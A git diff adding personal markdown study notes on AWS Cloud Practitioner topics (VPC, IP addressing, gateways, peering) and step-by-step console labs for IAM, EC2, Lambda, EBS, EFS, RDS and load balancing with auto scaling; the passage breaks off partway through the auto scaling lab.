configurations and relationships between AWS resources, + - review detailed resource configuration histories, + - determine overall compliance against the configurations that are specified in your internal guidelines. + - simplify compliance auditing, security analysis, change management, and operational troubleshooting. +- As you can see in the AWS Config Dashboard screen capture shown here, AWS Config keeps an inventory listing of all resources that exist in the account, and it then checks for configuration rule compliance and resource compliance. Resources that are found to be noncompliant are flagged, which alerts you to the configuration issues that should be addressed within the account. +- AWS Config is a `Regional service`. + - track resources across Regions, enable it in every Region that you use. + - AWS Config offers an aggregator feature that can show an aggregated view of resources across multiple Regions and even multiple accounts. + +![Screen Shot 2020-05-05 at 17.45.47](https://i.imgur.com/7JDYhrX.png) + +**AWS Artifact** +- provides on-demand downloads of `AWS security and compliance documents`, + - such as AWS ISO certifications, Payment Card Industry (PCI), and Service Organization Control (SOC) reports. + - submit the security and compliance documents (asaudit artifacts) to your auditors or regulators to demonstrate the security and compliance of the AWS infrastructure and services that you use. +- use these documents as guidelines + - to evaluate your own cloud architecture and assess the effectiveness of your company's internal controls. + - AWS Artifact provides documents about AWS only. + - AWS customers are responsible for developing or obtaining documents that demonstrate the security and compliance of their companies. +- to review, accept, and track the status of AWS agreements such as the Business Associate Agreement (BAA). + - A BAA typically is required for companies that are subject to HIPAA to ensure that protected health information (PHI) is appropriately safeguarded. +- With AWS Artifact, you can accept agreements with AWS and designate AWS accounts that can legally process restricted information. You can accept an agreement on behalf of multiple accounts. To accept agreements for multiple accounts, use AWS Organizations to create an organization. + +--- + +## Module 5 Overview + +![Screen Shot 2020-05-05 at 21.21.26](https://i.imgur.com/JJJO3yq.png) + +### Amazon Virtual Private Cloud (Amazon VPC) +- a service provision a `logically isolated section` of the AWS Cloud (virtual private cloud/VPC) to launch your AWS resources. + - control over your virtual networking resources: the selection of your own *IP address range*, the creation of *subnets*, and the configuration of *route tables and network gateways*. + - can use both IPv4 and IPv6 in VPC for secure access to resources and applications. + - can also customize the network configuration for VPC. + - example, + - create a public subnet for web servers that can access the public internet. + - place backend systems (databases/application servers...) in a private subnet with no public internet access. + - use multiple layers of security (security groups and network access control lists (networkACLs)...) to control access to Amazon Elastic Compute Cloud (Amazon EC2) instances in each subnet. +- A VPC is dedicated to your account. +- VPCs belong to a single AWS Region and can span multiple Availability Zones. +- a VPC can divide it into one or more subnets. + +subnet +- a range of IP addresses in a VPC. +- Subnets belong to a single Availability Zone. +- Subnets are generally classified as public or private. + - Public subnets have direct access to the internet + - private subnet do not. + +![Screen Shot 2020-05-05 at 21.37.13](https://i.imgur.com/279Kh2r.png) + +### IP addressing + +A common method to describe networks is `Classless Inter-Domain Routing (CIDR)`. + +IP addresses enable resources in VPC to communicate with each other and with resources over the internet. + +- When create a VPC, assign an CIDR block (a range of private addresses) to it. + - After create a VPC, cannot change the address range +- The IPv4 CIDR block: + - large as /16 (2^16, or 65,536 addresses) + - small as /28 (2^4, or 16 addresses) +- associate an IPv6 CIDR block with your VPC and subnets, and assign IPv6 addresses from that block to the resources in your VPC. + - IPv6 CIDR blocks have a different block size limit. +- The CIDR block of a subnet = the CIDR block for a VPC. + - the VPC and the subnet are the same size (a single subnet in the VPC). +- the CIDR block of a subnet can be a subset < the CIDR block for the VPC. + - This structure enables multiple subnets. + - create more than one subnet in a VPC, the CIDR blocks of the subnets cannot overlap. You cannot have duplicate IP addresses in the same VPC. + +- AWS reserves these IP addresses for: + - 10.0.0.0 : Network address + - 10.0.0.1 : VPC local router (internal communications) + - 10.0.0.2 : Domain Name System (DNS) resolution + - 10.0.0.3 : Future use + - 10.0.0.255 : Network broadcast address + - For example, create a subnet with an IPv4 CIDR block of 10.0.0.0/24 (which has 256 total IP addresses). The subnet has 256 IP addresses, but only 251 are available because five are reserved. + +When create a VPC +*public IP* +- every instance in VPC gets a `public IP` address automatically +- can also request a `public IP` address to be assigned when create the instance by modifying the subnet’s `auto-assign public IP address properties`. + + +*Elastic IP* address +- a static and public IPv4 address designed for dynamic cloud computing. +- associate an Elastic IP address with any instance or network interface for any VPC in your account. +- With an Elastic IP address, you can mask the failure of an instance by rapidly `remapping` the address to another instance in your VPC. +- Associating the Elastic IP address with the network interface has an advantage over associating it directly with the instance. +- move all of the attributes of the network interface from one instance to another in a single step. +- Additional costs might apply + +An *elastic network interface* +- a `virtual network interface` that can attach or detach from an instance in a VPC. + - A `network interface's attributes` follow it when it is reattached to another instance. + - move a network interface from one instance to another, `network traffic` is redirected to the new instance. +- Each instance in VPC has a default network interface (primary network interface), assigned a private IPv4 address from the IPv4 address range of your VPC. + - cannot detach a primary network interface from an instance. +- can create and attach an additional network interface to any instance in your VPC. The number of network interfaces you can attach varies by instance type. + +### VPC Networking + +**internet gateway** +- a scalable, redundant, and highly available VPC component +- allows communication between instances in your VPC and the internet. +- serves two purposes: + - to provide a target in your VPC route tables for internet-routable traffic + - to perform network address translation for instances that were assigned public IPv4 addresses. +- To make a subnet public + - attach an internet gateway to your VPC + - and add a route to the route table: send non-local traffic through the internet gateway to the internet (0.0.0.0/0). + +**network address translation (NAT) gateway** +enables instances in a private subnet to connect to the internet or other AWS services, but prevents the internet from initiating a connection with those instances. +1. create a NAT gateway + - specify the public subnet which the NAT gateway should reside and associate the NAT gateway an Elastic IP address +2. After you create a NAT gateway, update the route table + - route table associated to your private subnets to `point internet-bound traffic to the NAT gateway`. +3. Thus, instances in private subnets can communicate with the internet. + +can also use NAT instance in public subnet in VPC instead of a NAT gateway. +- However, a `NAT gateway` is a managed NAT service that provides better availability, higher bandwidth, and less administrative effort. + +**VPC sharing** +- share subnets with other AWS accounts in the same organization in AWS Organizations. +- enables multiple AWS accounts to create application resources into shared, centrally managed VPCs. + - such as Amazon EC2 instances, Amazon Relational Database Service (Amazon RDS) databases, Amazon Redshift clusters, and AWS Lambda functions +- After a subnet is shared + - the participants can view, create, modify, and delete their application resources in the subnets that are shared with them. + - Participants cannot view, modify, or delete resources that belong to other participants or the VPC owner. + +- VPC sharing offers several benefits: + - Separation of duties: Centrally controlled VPC structure, routing, IP address allocation + - Ownership: Application owners continue to own resources, accounts, and security groups + - Security groups: VPC sharing participants can reference the security group IDs of each other + - Efficiencies: Higher density in subnets, efficient use of VPNs and AWS Direct Connect + - No hard limits: Hard limits can be avoided—for example, 50 virtual interfaces per AWS Direct Connect connection through simplified network architecture + - Optimized costs: Costs can be optimized through the reuse of NAT gateways, VPC interface endpoints, and intra-Availability Zone traffic + +**A VPC peering connection** +- a networking connection between two VPCs that enables you to route traffic between them privately. +- Instances in either VPC can communicate with each other as if they are within the same network. +- create a VPC peering connection + - between your own VPCs, with a VPC in another AWS account, or in a different AWS Region. + - you create rules in your route table to allow the VPCs to communicate with each other through the peering resource. + - the destination: `IP of VPC ` + - the target: `the peering resource ID` + +VPC peering has some restrictions: +- IP address ranges cannot overlap. +- Transitive peering is not supported. + - three VPCs: A, B, and C. + - VPC A connected to VPC B, VPC A connected to VPC C. + - However, VPC B is not connected to VPC C implicitly. + - To connect VPC B to VPC C, you must explicitly establish that connectivity. +- You can only have one peering resource between the same two VPCs. + +**AWS site-to-site VPN** +- By default, instances launch in VPC cannot communicate with a remote network. +- To connect your VPC to your remote network (create a virtual private network or VPN connection) + +1. Create a virtual gateway device (virtual private network (VPN) gateway) and attach it to your VPC. +2. Define the configuration of the VPN device or the customer gateway. The customer gateway is not a device but an AWS resource that provides information to AWS about your VPN device. +3. Create a custom route table to point corporate data center-bound traffic to the VPN gateway. You also must update security group rules. +4. Establish an AWS Site-to-Site VPN (Site-to-Site VPN) connection to link the two systems together. +5. Configure routing to pass traffic through the connection. + + +**AWS Direct Connect DX** +network performance can be affected if data center is located far away from your AWS Region. + +`AWS Direct Connect` +- establish a dedicated, private network connection between your network and one of the DX locations. +- This private connection can reduce your network costs, increase bandwidth throughput, and provide a more consistent network experience than internet-based connections. +- DX uses open standard 802.1q virtual local area networks (VLANs). + +A VPC endpointis a virtual device that enables you to privately connect your VPC to supported AWS services and VPC endpoint services that are powered by AWS PrivateLink. Connection to these services does not require an internet gateway, NAT device, VPN connection, or AWS Direct Connect connection. Instances in your VPC do not require public IP addresses to communicate with resources in the service. Traffic between your VPC and the other service does not leave the Amazon network. There are two types of VPC endpoints:•An interface VPC endpoint(interface endpoint) enables you to connect to services that are powered by AWS PrivateLink. These services include some AWS services, services that are hosted by other AWS customers and AWS Partner Network (APN) Partners in their own VPCs (referred to as endpoint services), and supported AWS Marketplace APN Partner services. The owner of the service is the service provider, and you—as the principal who creates the interface endpoint—are the service consumer. You are charged for creating and using an interface endpoint to a service. Hourly usage rates and data processing rates apply. See the AWS Documentation for a list of supported interface endpointsand for more information about the example shown here.•Gateway endpoints: The use of gateway endpoints incurs no additional charge. Standard charges for data transfer and resource usage apply. + + + + + + + + + + + + + + + + +. diff --git a/_posts/01Cloud/01AWS/AWS_Lab/2020-07-16-Lab-AWSCloudPractitioner.md b/_posts/01Cloud/01AWS/AWS_Lab/2020-07-16-Lab-AWSCloudPractitioner.md new file mode 100644 index 00000000000..2044685a411 --- /dev/null +++ b/_posts/01Cloud/01AWS/AWS_Lab/2020-07-16-Lab-AWSCloudPractitioner.md @@ -0,0 +1,720 @@ +--- +title: AWS Lab - for CCP +date: 2020-07-16 11:11:11 -0400 +categories: [01AWS, AWSLab] +tags: [AWS, Lab] +math: true +image: +--- + + +# Lab for AWS Certified Cloud Practitioner + +- [Lab for AWS Certified Cloud Practitioner](#lab-for-aws-certified-cloud-practitioner) + - [lab 1: `IAM Policy`](#lab-1-iam-policy) + - [lab 2: `Build VPC, Launch a Web Server`](#lab-2-build-vpc-launch-a-web-server) + - [lab 3 `Amazon EC2`](#lab-3-amazon-ec2) + - [lab 4 `amazon lambda`](#lab-4-amazon-lambda) + - [lab 5 `AWS Elastic Beanstalk`](#lab-5-aws-elastic-beanstalk) + - [lab 6 `amazon EBS`](#lab-6-amazon-ebs) + - [lab 7 `amazon S3`](#lab-7-amazon-s3) + - [lab 8 `amazon EFS`](#lab-8-amazon-efs) + - [lab 9 `amazon RDS`](#lab-9-amazon-rds) + - [lab 9 `amazon DynamoDB`](#lab-9-amazon-dynamodb) + - [lab 10 `Balancing`](#lab-10-balancing) + - [Task 1: Create an AMI for Auto Scaling](#task-1-create-an-ami-for-auto-scaling) + - [Task 2: Create a Load Balancer](#task-2-create-a-load-balancer) + - [Task 3: Create a Launch Configuration and an Auto Scaling Group](#task-3-create-a-launch-configuration-and-an-auto-scaling-group) + - [Task 4: Verify that Load Balancing is Working](#task-4-verify-that-load-balancing-is-working) + - [Task 5: Test Auto Scaling](#task-5-test-auto-scaling) + - [Task 6: Terminate Web Server 1](#task-6-terminate-web-server-1) + + +--- + +## lab 1: `IAM Policy` + +![lab-scenario](https://i.imgur.com/qbcGVzc.jpg) + +structure of the statements in an IAM Policy: +- **Effect**: Allow or Deny the permissions. +- **Action** specifies the API calls that can be made against an AWS Service (eg `cloudwatch:ListMetrics`). +- **Resource**: the scope of entities covered by the policy rule (eg a specific Amazon S3 bucket or Amazon EC2 instance, or * means any resource) + +```json +{ + "Version": "2012-10-17", + "Statement": [ + { + "Effect": "Allow", + "Action": "ec2:Describe*", + "Resource": "*" + }, + { + "Effect": "Allow", + "Action": "elasticloadbalancing:Describe*", + "Resource": "*" + }, + { + "Effect": "Allow", + "Action": [ + "cloudwatch:ListMetrics", + "cloudwatch:GetMetricStatistics", + "cloudwatch:Describe*" + ], + "Resource": "*" + }, + { + "Effect": "Allow", + "Action": "autoscaling:Describe*", + "Resource": "*" + } + ] +} +``` + +--- + +## lab 2: `Build VPC, Launch a Web Server` + +![architecture](https://i.imgur.com/LlXN8fA.png) + +1. **Create VPC** + - AWS Management Console -> select region -> VPC -> Launch VPC Wizard + - select a VPC configuration: + - VPC with a single public subnet + - *VPC with public and private subnets* -> select + - VPC with public and private subnets & hardware VPN access + - VPC with a private subnets & hardware VPN access + - with public and private subnets: + - *VPC name* Lab VPC + - *Availability Zone*: Select the first Availability Zone + - *Public / Private subnet name*: Private Subnet 1 + - *Elastic IP Allocation ID*: Click in the box and select the displayed IP address + - *create* +2. Create Additional Subnets + - VPC dashboard -> Subnets. + - create a second Public Subnet. + - Click *Create subnet* then configure: + - *Name tag*: Public Subnet 2 + - *VPC*: Lab VPC + - *Availability Zone*: Select the second Availability Zone + - *IPv4 CIDR block*: 10.0.2.0/24 + - now create a second Private Subnet. + - CIDR block: 10.0.3.0/24 +3. configure Route Table for the private Subnets. + - configure the Private Subnets to route internet-bound traffic to the NAT Gateway + - so that resources in the Private Subnet are able to connect to the Internet, while still keeping the resources private. + - VPC dashboard -> *Route Tables*. + - Select the route table with *Main = Yes* and *VPC = Lab VPC*. + - *Name column*: Private Route Table + - In the lower pane -> Routes tab. + - Destination 0.0.0.0/0 + - Target nat-xxxxxxxx: traffic destined for the internet (0.0.0.0/0) will be sent to the NAT Gateway. The NAT Gateway will then forward the traffic to the internet. + - This route table is used to route traffic from Private Subnets. + - In the lower pane -> *Subnet Associations tab* + - -> *Edit subnet associations* + - Select both *Private Subnet 1* and *Private Subnet 2*. +4. configure Route Table for the Public Subnets. + - Select the route table with *Main = no* and *VPC = Lab VPC*. + - In the lower pane -> Routes tab. + - Destination 0.0.0.0/0 + - Target igw-xxxxxxxx, which is the Internet Gateway. This means that internet-bound traffic will be sent straight to the internet via the Internet Gateway. + - *Name column*: Public Route Table + - In the lower pane -> *Subnet Associations tab* + - -> *Edit subnet associations* + - Select both *Public Subnet 1* and *Public Subnet 2*. +5. Create a VPC Security Group + - VPC dashboard -> *Security Groups* + - -> *Create security group* + - *Security group name*: Web Security Group + - *Description*: Enable HTTP access + - *VPC*: Lab VPC + - add a rule to the security group to permit inbound web requests. + - Select Web Security Group -> Inbound Rules tab -> *Edit rules* + - -> *Add Rule* + - *Type*: HTTP + - *Source*: Anywhere + - *Description*: Permit web requests +6. Launch a Web Server Instance + - launch an Amazon EC2 instance into the new VPC. You will configure the instance to act as a web server. + - Services -> EC2 -> Launch Instance + - *Amazon Machine Image (AMI)*: Amazon Linux 2 (at the top) + - *The Instance Type*: t2.micro + - -> *Configure Instance Details* configure the instance to launch in a Public Subnet of the new VPC. + - *Network*: Lab VPC + - *Subnet*: Public Subnet 2 (not Private!) + - *Auto-assign Public IP*: Enable + - Advanced Details section: *User data box*: + + ```c + #!/bin/bash + # Install Apache Web Server and PHP + yum install -y httpd mysql php + # Download Lab files + wget https://aws-tc-largeobjects.s3.amazonaws.com/AWS-TC-AcademyACF/acf-lab3-vpc/lab-app.zip + unzip lab-app.zip -d /var/www/html/ + # Turn on web server + chkconfig httpd on + service httpd start + + // This script will be run automatically when the instance launches for the first time. The script loads and configures a PHP web application. + ``` + + - -> Next: Add Storage + - -> Next: Add Tags - + - Key: Name + - Value: Web Server 1 + - -> Next: Configure Security Group + - *Select an existing security group*: Web Security Group. + - -> Review and Launch + - When prompted with a warning that you will not be able to connect to the instance through port 22, click Continue + - Launch + - *Select an existing keypair dialog*: + - I acknowledge + - Launch Instances + - View Instances + - Copy the Public DNS (IPv4) value: `ec2-3-90-11-85.compute-1.amazonaws.com` + - Open a new web browser tab, paste the Public DNS value and press Enter. + - a web page displaying the AWS logo and instance meta-data values. + + +![Screen Shot 2020-05-06 at 00.19.42](https://i.imgur.com/nzNIhKA.png) + +--- + +## lab 3 `Amazon EC2` + +![lab-scenario](https://i.imgur.com/GRWyQoi.jpg) + +Task 1: Launch Your Amazon EC2 Instance +- Step 1: Choose an Amazon Machine Image (AMI): Amazon Linux 2 AMI +- Step 2: Choose an Instance Type: t2.micro +- Step 3: Configure Instance Details: + - *Network*: Lab VPC. + - *Enable termination protection* -> Protect against accidental termination (prevent the instance from being accidentally terminated, you can enable termination protection for the instance, which prevents it from being terminated.) + - add *user data* + ```c + #!/bin/bash + yum -y install httpd + systemctl enable httpd + systemctl start httpd + echo '

    Hello From Your Web Server!

    ' > /var/www/html/index.html + ``` +- Step 4: Add Storage +- Step 5: Add Tags +- Step 6: Configure Security Group + - *Security group name*: Web Server security group + - *Description*: Security group for my web server + - Delete the existing SSH rule. +- Step 7: Review Instance Launch + - this lab will not log into instance, do not require a key pair. + - Click the *Choose an existing key pair*: Proceed without a key pair. + - Select I acknowledge that .... + - Launch Instances + - View Instances + +Task 2: Monitor Your Instance +- Click the *Status Checks* tab. + - both the `System reachability` and `Instance reachability` checks have passed. +- Click the *Monitoring* tab. + - not many metrics to display because the instance was recently launched. +- In the *Actions* menu -> *Instance Settings* -> *System Log*. +- In the *Actions* menu -> *Instance Settings* -> *Instance Screenshot*. + +Task 3: Update Your Security Group and Access the Web Server +- *Description* tab -> *IPv4 Public IP* -> web browser Enter. + - not allow. +- In the left navigation pane, click *Security Groups*. +- Select Web *Server security group*. +- Click the *Inbound* tab. + - Click *Edit then configure*: + - *Type*: HTTP + - *Source*: Anywhere + - Click Save + +![Screen Shot 2020-05-06 at 17.02.57](https://i.imgur.com/0wcBGz9.png) + +Task 4: Resize Your Instance: Instance Type and EBS Volume +- EC2 Management Console -> Instances -> Web Server +- Actions -> Instance State -> Stop +- *Change The Instance Type* + - Actions -> Instance Settings -> Change Instance Type, + - Instance Type: t2.small + - Click Apply +- *Resize the EBS Volume* + - In the left navigation menu, click Volumes. + - Actions -> Modify Volume. + - Change the size to: 10 + - Click Apply +- Start the Resized Instance again + +Task 5: Explore EC2 Limits +- In the left navigation pane, click Limits. + +Task 6: Test Termination Protection +- *Actions* -> *Instance State* -> Terminate. + - the Yes, Terminate button is dimmed and cannot be clicked. +- *Actions* -> *Instance Settings* -> *Change Termination Protection*. + - Click Yes, Disable +- You can now terminate the instance. + +--- + +## lab 4 `amazon lambda` + +![lambda-activity](https://i.imgur.com/Mt5defg.png) + +create an AWS Lambda function. +- create an Amazon CloudWatch event to trigger the function every minute. +- The function uses an AWS Identity and Access Management (IAM) role. This IAM role allows the function to stop an Amazon Elastic Compute Cloud (Amazon EC2) instance that is running in the Amazon Web Services (AWS) account. + +Task 1: **Create a Lambda function** +- Services menu -> Lambda -> Create function. + - Choose *Author from scratch* + - *Function name*: myStopinator + - *Runtime*: Python 3.8 + - Click *Choose or create an execution role* + - *Execution role*: Use an existing role + - *Existing role*: myStopinatorRole + - Click Create function. + +Task 2: **Configure the trigger** +- Click *+ Add trigger*. +- *Select a trigger*: CloudWatch Events. +- Create a new rule + - *Rule name*: everyMinute + - *Rule type*: Schedule expression + - *Schedule expression*: rate(1 minute) + - Click Add. + +Task 3: **Configure the Lambda function** +- click myStopinator +- *Function code* box: + ```py + import boto3 + region = '' + instances = [''] + ec2 = boto3.client('ec2', region_name=region) + + def lambda_handler(event, context): + ec2.stop_instances(InstanceIds=instances) + print('stopped your instances: ' + str(instances)) + + // Replace the placeholder with the actual Region that you are using. 'us-east-1' + // replace with the actual instance ID + ``` +- click Save. +- Lambda function is now fully configured. It should attempt to stop instance every minute. +- Click *Monitoring* (the tab near the top of the page). + +Task 4: **Verify that the Lambda function worked** +- Return to the Amazon EC2 console +- instance was stopped. + +--- + +## lab 5 `AWS Elastic Beanstalk` + +Task 1: **Access the Elastic Beanstalk environment** +- Services -> *Elastic Beanstalk*. + - click on the *name* of the environment -> The Dashboard page + - Green (good): The Elastic Beanstalk environment is ready to host an application. However, it does not yet have running code. + - click the URL (the URL ends in elasticbeanstalk.com). + - a new browser tab opens. "HTTP Status 404 - Not Found" message. This behavior is expected because this application server doesn't have an application running on it yet. + - Return to the Elastic Beanstalk console. + +Task 2: **Deploy a sample application to Elastic Beanstalk** +- download a sample application, click [link](https://docs.aws.amazon.com/elasticbeanstalk/latest/dg/samples/java-tomcat-v3.zip) +- Elastic Beanstalk Dashboard, + - click *Upload and Deploy*: java-tomcat-v3.zip file downloaded. + - Click Deploy. +- After the deployment is complete, click the URL again. + - ![web-app](https://i.imgur.com/jaAIj6C.png) +- Elastic Beanstalk console -> *Configuration* in the left pane. + - in the *Instances* row, it indicates the Monitoring interval, EC2 Security groups, and Root volume type details of the Amazon Elastic Compute Cloud (Amazon EC2) instances that are hosting your web application. + - the *Database* row: does not have details because the environment does not include a database. + - click Edit. could easily add a database to this environment if you wanted to: you only need to set a few basic configurations and click Apply. +- In the left panel, click *Monitoring*: charts to see the kinds of information that are available to you. + + +Task 3: **Explore the AWS resources that support your application** +- Services menu -> EC2 -> Instances + - two instances are running (they both contain samp in their names). Both instances support your web application. +- continue exploring the Amazon EC2 service resources created by Elastic Beanstalk + - A `security group` with port 80 open + - A `load balancer` that both instances belong to + - An `Auto Scaling group` that runs from two to six instances, depending on the network load + - Though Elastic Beanstalk created these resources for you, you still have access to them. + + +--- + +## lab 6 `amazon EBS` + +create an Amazon EBS volume, attach it to an instance, apply a file system to the volume, and then take a snapshot backup. + +![lab-scenario](https://i.imgur.com/PQEWwie.jpg) + +1. Create a New EBS Volume + +![Screen Shot 2020-05-07 at 01.16.27](https://i.imgur.com/gBKin2k.png) + +2. Attach the Volume to an Instance + + +3. Connect to Your Amazon EC2 Instance + - Windows Users: Using SSH to Connect + - Download **PPK** file + - Configure PuTTY to not timeout: + - Click **Connection** + - Set **Seconds between keep alives** to 30 + - Configure your PuTTY session: + - Click **Session** + - **Host Name (or IP address)**: the IPv4 Public IP address of instance. + - in the **Connection** list: SSH + - Click **Auth** (don't expand it) + - Click **Browse**: labsuser.ppk file + - Click **Open** + - Click **Yes**, to trust the host and connect to it. + - **login as**: ec2-user + - This will connect you to the EC2 instance. + - macOS and Linux Users + - Download **PEM** file + ```c + J:~ luo$ cd Downloads/ + J:Downloads luo$ chmod 400 labsuser.pem + ssh -i labsuser.pem ec2-user@54.158.249.24 + ``` +4. Task 4: Create and Configure Your File System + +```c +[ec2-user@ip-10-1-11-200 ~]$ df -h +Filesystem Size Used Avail Use% Mounted on +devtmpfs 483M 64K 483M 1% /dev +tmpfs 493M 0 493M 0% /dev/shm +/dev/xvda1 7.9G 1.2G 6.7G 15% / + +[ec2-user@ip-10-1-11-200 ~]$ sudo mkfs /dev/sdf +Writing superblocks and filesystem accounting information: done + +[ec2-user@ip-10-1-11-200 ~]$ sudo mkdir /mnt/data-store +[ec2-user@ip-10-1-11-200 ~]$ sudo mount /dev/sdf /mnt/data-store/ +[ec2-user@ip-10-1-11-200 ~]$ echo "/dev/sdf /mnt/data-store ext3 defaults,noatime 1 2" | sudo tee -a /etc/fstab +/dev/sdf /mnt/data-store ext3 defaults,noatime 1 2 + +[ec2-user@ip-10-1-11-200 ~]$ cat /etc/fstab +LABEL=/ / ext4 defaults,noatime 1 1 +/dev/sdf /mnt/data-store ext3 defaults,noatime 1 2 + +[ec2-user@ip-10-1-11-200 ~]$ df -h +Filesystem Size Used Avail Use% Mounted on +devtmpfs 483M 64K 483M 1% /dev +tmpfs 493M 0 493M 0% /dev/shm +/dev/xvda1 7.9G 1.2G 6.7G 15% / +/dev/xvdf 1008M 1.3M 956M 1% /mnt/data-store + +[ec2-user@ip-10-1-11-200 ~]$ sudo su -c "echo some text has been written > /mnt/data-store/file.txt" +[ec2-user@ip-10-1-11-200 ~]$ cat /mnt/data-store/file.txt +some text has been written + +``` + +5. Create an Amazon EBS Snapshot + +![Screen Shot 2020-05-07 at 01.36.39](https://i.imgur.com/MYyZDnW.png) + +```c +[ec2-user@ip-10-1-11-200 ~]$ sudo rm /mnt/data-store/file.txt +[ec2-user@ip-10-1-11-200 ~]$ ls /mnt/data-store/ +lost+found +``` + +6. Restore the Amazon EBS Snapshot + +![Screen Shot 2020-05-07 at 01.38.25](https://i.imgur.com/N2mcn1F.png) + +![Screen Shot 2020-05-07 at 01.39.20](https://i.imgur.com/A6DuTU3.png) + +7. Attach the Restored Volume to EC2 Instance + +![Screen Shot 2020-05-07 at 01.39.54](https://i.imgur.com/9LwGYQj.png) + +8. Mount the Restored Volume + +```c +[ec2-user@ip-10-1-11-200 ~]$ sudo mkdir /mnt/data-store2 +[ec2-user@ip-10-1-11-200 ~]$ sudo mount /dev/sdg /mnt/data-store2 +[ec2-user@ip-10-1-11-200 ~]$ ls /mnt/data-store2/ +file.txt lost+found +``` + +--- + +## lab 7 `amazon S3` + +- create bucket + - bucket name: global unique name + - set properties: + - set permissions: + - review -> create bucket + +--- + +## lab 8 `amazon EFS` + +- create file system + - select VPC + - create mount targets: + +![Screen Shot 2020-05-07 at 01.53.15](https://i.imgur.com/4q0dcHK.png) + +![Screen Shot 2020-05-07 at 01.53.50](https://i.imgur.com/H3RquF3.png) + +- create security group + +![Screen Shot 2020-05-07 at 01.54.52](https://i.imgur.com/eMdHC4e.png) + +![Screen Shot 2020-05-07 at 01.55.44](https://i.imgur.com/dbwDfbP.png) + +```c +yum install nfs-common + +sudo mkdir /mnt/efs + +sudo mount -t nfs4 -o nfsvers=4.1 ..... /mnt/efs +``` + +--- + +## lab 9 `amazon RDS` + +![lab-5-final-lab-architecture](https://i.imgur.com/SKlcGdW.png) + +Task 1: **Create a Security Group for the RDS DB Instance** +- Services -> *VPC* -> Security Groups. + - Create security +![Screen Shot 2020-05-07 at 21.51.12](https://i.imgur.com/EfAi5oq.png) + - Click the Inbound Rules tab. This configures the `Database security group` to permit inbound traffic on port 3306 from `EC2 instance associated with the Web Security Group`. +![Screen Shot 2020-05-07 at 21.56.32](https://i.imgur.com/EBUW1mW.png) + +Task 2: **Create a DB Subnet Group** +- Services -> *RDS* -> Subnet groups. +![Screen Shot 2020-05-07 at 22.01.36](https://i.imgur.com/J6pEqdo.png) + +Task 3: **Create an Amazon RDS DB Instance** +- Create database -> MySQL. + - Settings + - DB instance identifier: lab-db + - Master username: master + - Master password: lab-password + - Confirm password: lab-password + - Under DB instance size: + - Burstable classes: db.t3.micro + - Under Storage + - Storage type: General Purpose (SSD) + - Allocated storage: 20 + - Under *Connectivity* + - Virtual Private Cloud (VPC): Lab VPC + - Additional connectivity configuration + - *Existing VPC security groups*: DB Security Group + - Under Additional configuration + - Initial database name: lab + - Uncheck Enable automatic backups. + - Uncheck Enable Enhanced monitoring. + - Create database +- Click lab-db + - Connectivity & security section: Endpoint field `lab-db.cggq8lhnxvnv.us-west-2.rds.amazonaws.com` + +Task 4: **Interact with Database** +- open a web application running on web server and configure it to use the database. + - SecretKey: my_key + - WebServerIP: 34.203.248.37 + - AccessKey: my_access_key +- browser -> WebServerIP -> RDS +![Screen Shot 2020-05-07 at 22.17.25](https://i.imgur.com/rEzmE6h.png) +![Screen Shot 2020-05-07 at 22.44.08](https://i.imgur.com/u6UhopD.png) + + +--- + +## lab 9 `amazon DynamoDB` + +![Screen Shot 2020-05-07 at 22.56.30](https://i.imgur.com/15EJrRY.png) + +- using AWS CLI + + +--- + +## lab 10 `Balancing` + +![starting-architecture](https://i.imgur.com/FflbBOB.png) + +![final-architecture](https://i.imgur.com/JtO5TjW.png) + +### Task 1: Create an AMI for Auto Scaling +- create an AMI from the existing Web Server 1. This will `save the contents of the boot disk` so that new instances can be launched with identical content. +- Services -> EC2 -> Instances: running Wait until 2/2 checks passed -> refresh update. (create an AMI based upon this instance). +- Select Web Server 1 + - Actions -> Image > **Create Image**: + - Image name: Web Server AMI + - Image description: Lab AMI for Web Server + - Click Create Image + - the AMI ID for your new AMI. use this AMI when launching the Auto Scaling group later in the lab. + + +### Task 2: Create a Load Balancer +- balance traffic across multiple EC2 instances and Availability Zones. +- Services -> EC2 -> Load Balancers -> **Create Load Balancer** + - using an **Application Load Balancer**: + - routing traffic to targets — EC2 instances, containers, IP addresses and Lambda functions — based on the content of the request. + - click Create and configure: + - **Name**: LabELB + - **VPC**: Lab VPC + - **Availability Zones**: + - both to see the available subnets + - Select *Public Subnet 1* and *Public Subnet 2* + - This configures the load balancer to operate across multiple Availability Zones. + - Next: Configure **Security Settings** + - Next: Configure **Security Groups** + - Select *Web Security Group*: permits HTTP access + - deselect default. + - Next: Configure **Routing**: + - where to send requests that are sent to the load balancer. You will create a Target Group that will be used by Auto Scaling. + - *Name*: `LabGroup` + - Next: **Register Targets**: automatically register instances as targets later in the lab. + - Next: Review + - Create then click Close + +The load balancer will show a state of provisioning. There is no need to wait until it is ready. + + +### Task 3: Create a Launch Configuration and an Auto Scaling Group + +- Launch Configurations -> **Create launch configuration** + - My AMIs: the AMI created from the existing Web Server 1. + - instance type: + - t3.micro + - launched the lab in the us-east-1 Region: t2.micro + - click Next: Configure details + - Name: LabConfig + - Monitoring: Select *Enable CloudWatch detailed monitoring*: allows Auto Scaling to react quickly to changing utilization. + - Next: **Add Storage**: default storage settings. + - Next: **Configure Security Group** + - Select an `existing security group` + - Select `Web Security Group` + - Review + - Create launch configuration + - Select an existing key pair dialog: + - Create launch configuration + - now **create an Auto Scaling group** that uses this Launch Configuration. + +- **create an Auto Scaling group** + - Configure + - **Group name**: Lab Auto Scaling Group + - **Group size**: Start with: 2 instances + - **Network**: Lab VPC + - **Subnet**: Select `Private Subnet 1 (10.0.1.0/24)` and `Private Subnet 2 (10.0.3.0/24)` + - launch EC2 instances in private subnets across both Availability Zones. + - Expand **Advanced Details**: + - **Load Balancing**: `Receive traffic from one or more load balancers` + - **Target Groups**: `LabGroup` + - **Monitoring**: Select `Enable CloudWatch detailed monitoring` + - This will capture metrics at 1-minute intervals, which allows Auto Scaling to react quickly to changing usage patterns. + - Next: **Configure scaling policies** + - Select `Use scaling policies to adjust the capacity of this group` + - Modify the Scale between text boxes to scale between `2` and `6` instances. + - allow Auto Scaling to automatically add/remove instances, always keeping between 2 and 6 instances running. + - In **Scale Group Size**: + - **Metric type**: Average CPU Utilization + - **Target value**: 60 + - This tells Auto Scaling to maintain an average CPU utilization across all instances at 60%. Auto Scaling will automatically add or remove capacity as required to keep the metric at, or close to, the specified target value. It adjusts to fluctuations in the metric due to a fluctuating load pattern. + - Next: **Configure Notifications** + - send a notification when a scaling event takes place. You will use the default settings. + - Click Next: **Configure Tags**: + - Tags applied to the Auto Scaling 